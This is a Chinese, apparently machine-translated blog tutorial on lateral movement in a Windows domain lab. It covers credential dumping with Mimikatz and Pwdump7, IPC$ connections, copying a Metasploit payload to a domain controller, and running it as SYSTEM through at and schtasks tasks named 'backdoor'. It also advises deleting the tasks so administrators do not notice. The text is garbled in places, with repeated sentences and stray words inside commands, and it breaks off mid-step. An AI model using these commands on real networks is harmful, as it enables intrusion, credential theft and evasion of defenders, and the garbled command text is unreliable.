在内网渗透中,当攻击者获得内网某台机器的控制权时,攻击者将以被抓获的主机为跳板,通过收集域内凭证等方式访问域内其他机器,进一步扩大资产范围。通过这种方式,攻击者最终可以获得域控制器的访问权限,甚至完全控制Windows控制域环境下所有机器的整个内网环境。
本文介绍了横向移动的思路和攻击手法。
由于最近开学的事情很多,没有时间更新,文章可能有点仓促,请给我更多的建议。
这篇文章大多是我最近的学习总结,专为想我也在准备小白,文章内容基础丰富。请阅读我的相关文章,了解以下每种攻击技术的具体细节。路过的大哥还是希望多点评!
在接下来的前几个实验中,以下内网环境为测试环境:
Windows 7为跳板机
用户名:douser密码:Dotest123
Windows server 2008域控(主机名:WIN-ENS2VR5TR3N)
用户名:administrator密码:Liu78963攻击者已经获得了Windows7的权限,想要以Windows7作为跳板机进一步渗透内网的跳板机Windows server 2008年,攻击者已经通过了跳板机socks代理等技术可以访问内网Windows server 2008。接下来,攻击者将尝试通过各种横向移动获得内网Windows server 2008的控制权。接下来,攻击者将尝试通过各种横向移动获得内网Windows server 2008的控制权。
在域内获取单机密码和Hash在内网渗透中,攻击者首先需要获取域用户的密码或许多横向移动方法Hash可以进行值,如哈希传递攻击、各种票据传递、黄金票据维护权等。
PwDump7工具Pwdump7可以在CMD提取系统中用户的密码hash (包括LM和NTLM),骨灰级黑客玩家可能听说过这个玩具,需要系统权限。通过Pwdump7提取出的HASH,可以用ophcrack打破明文密码等工具对进一步渗透有很大帮助。
Mimikatz工具Mimikatz是由法国人Benjamin由于其大的轻量级调试工具可以直接读取Windows因此,操作系统的明文密码在渗透测试领域闻名。通过它,你可以提高过程权限,注入过程读取过程内存。当然,他最大的亮点是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码。
Mimikatz读取明文密码和hash也是最常用的方法。需要管理员的权限。
privilege::debug // 提升至debug权限sekurlsa::logonpasswords // 抓取密码
详情请参阅我的文章《内网横向移动研究:获取域内单机密码和Hash》
利用Windows远程连接命令横向渗透在渗透试验中,用户获得目标机器的明确密码或NTLM Hash后,可以用Windows连接远程目标系统,连接远程主机,执行相关命令。也可以通过PTH该方法将散列值或明文密码传输到目标机器进行验证。
建立IPC连接IPC$(Internet Process Connection) 是共享 " 命名管道 " 该资源是为进程间通信打开的命名管道。通过提供可靠的用户名和密码,双方可以建立安全的通道,并通过该通道交换加密数据,实现远程计算机的访问。IPC$是NT2000的新功能有一个特点,即同时两个IP只允许在两者之间建立连接。IPC$是NT2000的新功能有一个特点,即同时两个IP只允许在两者之间建立连接。IPC 在远程管理和查看计算机共享资源时,可以通过验证用户名和密码获得相应的权限。
通过ipc$,可与目标机器建立连接。使用此连接,您不仅可以访问目标机器中的文件,上传和下载,还可以在目标机器上操作其他命令,以获取目录结构、用户列表等信息。
执行下列命令,我们可以让win7与DC建立IPC连接
net use \\\\<DC的IP>\\ipc$ "password" /user:"username"net use \\\\192.168.183.130\\ipc$ "Liu78963" /user:"administrator"net use // 查看当前主机建立的连接
如上图,我们成功让win7与DC建立IPC然后我们可以通过连接win7访问目标机器DC其他命令也可以在目标机器上运行,如上传、下载等。
例如,我们列出DC上C盘目录:
dir \\\\192.168.183.130\\c$
再次,将文件复制到目标主机DCC盘上方:(实战中,我们可以将木马程序复制到目标主机上。
copy C:\\Users\\douser\\Desktop\\whoami.txt \\\\192.168.183.130\\c$
在使用net use建立命令和远程主机ipc$连接后,还可以使用tasklist命令的/S、/U、/P参数列出了目标远程主机上运行的过程(可能有点慢)
/s:指要检查的远程系统IP地址/u:指定哪个用户执行远程命令/p:指定用户的密码tasklist /S 192.168.183.130 /U administrator /P liu78963
建立 ipc$ 连接条件:
目标主机打开139和445端口目标主机管理员ipc$默认共享在使用完ipc$连接后,需要删除ipc$,命令如下:
net use \\\\IP /del /y
建立其他共享连接
除了IPC我们还可以与目标主机的其他共享建立链接,比如建立c$盘共享连接:
net use \\\\192.168.183.130\\c$ "Liu78963" /user:"administrator"
列出DC上C盘目录:
但一般情况下,我们会建立IPC连接,因为使用此连接,您不仅可以访问目标机器中的文件,上传、下载等操作,还可以在目标机器上操作其他命令,以获取目录结构、用户列表等信息。
利用Windows计划任务是横向渗透利用 at 命令at 命令是Windows他用自己的命令来创建计划任务,但他主要工作Windows Server 在2008之前版本的操作系统中。我们可以通过at通过跳板机命令目标主机DC创建计划任务,让计算机在指定时间执行木马程序,从而控制内网目标主机。我们可以通过at通过跳板机命令目标主机DC创建计划任务,让计算机在指定时间执行木马程序,从而控制内网目标主机。操作如下:
1. 首先建立目标主机ipc连接。
2. 再使用net time命令确定目标主机DC当前时间:
net time \\\\192.168.183.130
3. 然后使用copy命令远程操作,将metasploit生成的payload目标系统C盘复制文件:
copy shell.exe \\\\192.168.183.130\\c$
4. 接着使用at命令创建计划任务,让目标主机DC在指定时间运行metasploit木马程序:
at \\\\192.168.183.130 18:53:00 c:\\shell.exe
如上图所示,目标主机成功创建ID为1,在18:53:00执行shell.exe计划程序的任务
到达18:53:00时,目标主机上的木马程序shell.exe执行,攻击者主机上方msfconsole成功获得目标主机meterpreter:
5. 最后,在我们完成计划任务后,还需要删除计划任务,以免被网络管理员发现:
at \\\\192.168.183.130 1 /delete// 一是计划任务ID
除了使用计划任务执行木马程序获得主机权限外,我们还可以使用它at计划任务直接执行系统命令,但由于不会重新显示,因此,我们必须将执行结果写入文本文件中,远程读取:
at \\\\192.168.183.130 17:05:00 cmd.exe /c "ipconfig > C:\\Users\\Administrator\\result.txt"at \\\\192.168.183.130 17:05:00电脑 cmd.exe /c "<命令>" > 目录\\result.txt
然后用type命令远程阅读文本文件:
type \\\\192.168.183.130\\c$\\Users\\Administrator\\result.txt
如上图所示,成功执行命令。
利用schtasks 命令我们上面谈到了使用at但该命令已被命令创建计划任务Windows Vista、Windows Server 2008年及之后版本的操作系统被废弃,取而代之的是schtasks命命令。
利用
schtasks 命令我们上面谈到了使用at但该命令已被命令创建计划任务Windows Vista、Windows Server 2008年及之后版本的操作系统被废弃,取而代之的是schtasks命命令。schtasks命令比at命令更加灵活自由。下面来演示schtasks因此,攻击者开始使用命令schtasks命令来代替at命令。
利用schtasks横向移电脑动的操作流程如下:
1. 首先建立目标主机ipc连接。2. 然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘。
3. 在目标主机DC在上面创建一个名字backdoor计划任务。计划任务每分钟启动一次,启动程序是我们之前到C盘的shell.exe,启动权限为system。命令如下:
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1 /tr c:\\shell.exe /ru system /f在没有建立ipc连接时,要加上/u和/p用户名和密码分别设置在参数中。但也有一些时候,由于当前的权限或集团战略设置等原因,schtasks远程创建计划任务的方法可能会错误地拒绝访问:在这种情况下,我们可以添加/u和/p参数分别设置高权限用户名和密码,如下:
schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\\shell.exe /ru 电脑 system /f
就这样:4. 然后执行以下命令,立即操作计划任务(或等待一分钟):
}s